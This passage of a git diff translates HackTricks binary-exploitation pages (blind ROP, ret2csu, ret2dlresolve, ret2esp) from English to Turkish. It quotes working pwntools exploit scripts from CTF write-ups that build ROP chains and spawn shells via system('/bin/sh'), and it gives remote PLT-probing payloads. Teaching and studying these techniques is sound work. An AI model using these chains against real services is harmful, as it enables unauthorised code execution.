-These would be the gadgets: +Bunlar gadget'lar olacaktır: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +Bu gadget'lar ile bir fonksiyonun **2 argümanını kontrol etmenin** mümkün olduğunu unutmayın. -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir gönderilir: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +Eğer **STOP çalıştırılırsa**, bu temelde yığından 6 kayıt alan bir **adresin kullanıldığı** anlamına gelir. Ya da kullanılan adres de bir STOP adresiydi. -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +Bu son seçeneği **kaldırmak için** aşağıdaki gibi yeni bir zincir çalıştırılır ve önceki zincirin 6 kayıt aldığını doğrulamak için STOP gadget'ını çalıştırmamalıdır: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol eden gadget'ların adresini çıkarmak** mümkündür. -### 6. Find PLT +### 6. PLT'yi bul -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile **ayrılmıştır** ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk yürütülen koddur. -Therefore, it's possible to find the PLT table checking the following behaviours: +Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mümkündür: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> çökme yok +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme yok +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> çökme yok -### 7. Finding strcmp +### 7. strcmp bulma -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için **0'dan büyük** olması gerektiğini unutmayın. -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +**`strcmp`**'nin PLT'deki konumunu, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür: -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\, \) -> çökme +- strcmp(\, \) -> çökme +- strcmp(\, \) -> çökme +- strcmp(\, \) -> çökme yok -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> çökme +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek +- strcmp(\, \) -> çökme +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> çökme yok +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +Unutmayın ki: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 **`pop RSI; pop R15; ret;`**'ye işaret eder +- BROP + 0x9 **`pop RDI; ret;`**'ye işaret eder +- PLT + 0xb **dl_resolve**'a bir çağrıya işaret eder. -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +`strcmp`'yi bulduktan sonra, **`rdx`**'yi 0'dan büyük bir değere ayarlamak mümkündür. > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutmayın, bu nedenle bu adım gerekli olmayabilir. -### 8. Finding Write or equivalent +### 8. Write veya eşdeğerini bulma -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +Son olarak, ikiliyi sızdırmak için verileri dışarı aktaran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliriz ve `rdx`'yi 0'dan büyük ayarlayabiliriz.** -There are 3 common funtions taht could be abused for this: +Bunu kötüye kullanmak için 3 yaygın fonksiyon vardır: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +Ancak, orijinal makalede yalnızca **`write`**'den bahsedilmektedir, bu nedenle bunun hakkında konuşalım: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememizdir ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir. -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** dayanarak write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve bazı bağlantılarımızla eşleşmesini umarak **yüksek bir FD** kullanabiliriz. -Behaviour signatures to find those functions: +Bu fonksiyonları bulmak için davranış imzaları: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, puts bulundu +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, dprintf bulundu +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, write bulundu -## Automatic Exploitation +## Otomatik Sömürü - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) -## References +## Referanslar -- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) +- Orijinal makale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..b5d346c50 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Temel Bilgiler -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu**, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir. -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak hareket edebilecek bazı gizli mücevherler bulunmaktadır. -### The Magic Gadgets in \_\_libc_csu_init +### \_\_libc_csu_init'deki Sihirli Gadgets -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +**`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır: +1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerleri ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir. ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +Bu alet, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar. -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar: +- **Belirli değerleri diğer kayıtlara taşıyarak**, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir. +- **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar. ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** sağlamanız gerekecek: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +Koşullar şunlar olacaktır: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` çağrılabilir bir fonksiyonu depolayan bir adrese işaret etmelidir (eğer bir fikriniz yoksa ve pie yoksa, sadece `_init` fonksiyonunu kullanabilirsiniz): +- Eğer \_init `0x400560` adresindeyse, GEF kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]`'in \_init'e işaret eden adres olmasını sağlayın: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşmez. +- Dikkate almanız gereken bazı atlanan pops var. -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI ve RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli offset'lere erişmektir:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +Daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## Örnek -### Using the call +### Çağrıyı Kullanma -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. -Here's where **ret2csu** comes into play: +İşte burada **ret2csu** devreye giriyor: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak stack'ten değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin. +2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz. +Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> Önceki istismarının bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın. -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### Çağrıyı atlayarak ret'e ulaşma +Aşağıdaki istismar, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:** ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### Neden Sadece libc Kullanmayalım? -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilen parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunları doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..cfd7583bd 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,38 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar, sembolleri (dış kütüphanelere ait adresler gibi) ilk kez kullanıldıklarında çözer. Bu çözümleme, **`_dl_runtime_resolve`** fonksiyonu çağrılarak gerçekleşir. -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +**`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır. -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +Bu nedenle, dinamik bağlantılı çözümlemenin talep edilen sembolü (örneğin **`system`** fonksiyonu) çözmesini sağlamak için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür. -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır. > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/)) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır. -Chek this video for a nice explanation about this technique in the second half of the video: +Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +Ya da adım adım açıklama için bu sayfalara göz atın: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## Saldırı Özeti -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. Bazı yerlerde sahte yapılar yazın +2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`) +3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın +4. **Çağırın** `_dl_runtime_resolve` +5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır +[**pwntools belgeleri**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) itibarıyla, bir **`ret2dlresolve`** saldırısı şöyle görünür: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## Örnek -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### Saf Pwntools +Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### Ham ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve dönüş. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..1ef975c68 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret ettiği için**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir). -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın ortasında değil, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir. -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### Alan eksikliği +Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikliği yaşıyorsanız (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın: ```armasm sub rsp, 0x30 jmp rsp ``` +Ve shellcode'u yığın içinde erken yazın. -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### Örnek +Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde, son bir istismar ile bulabilirsiniz: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of 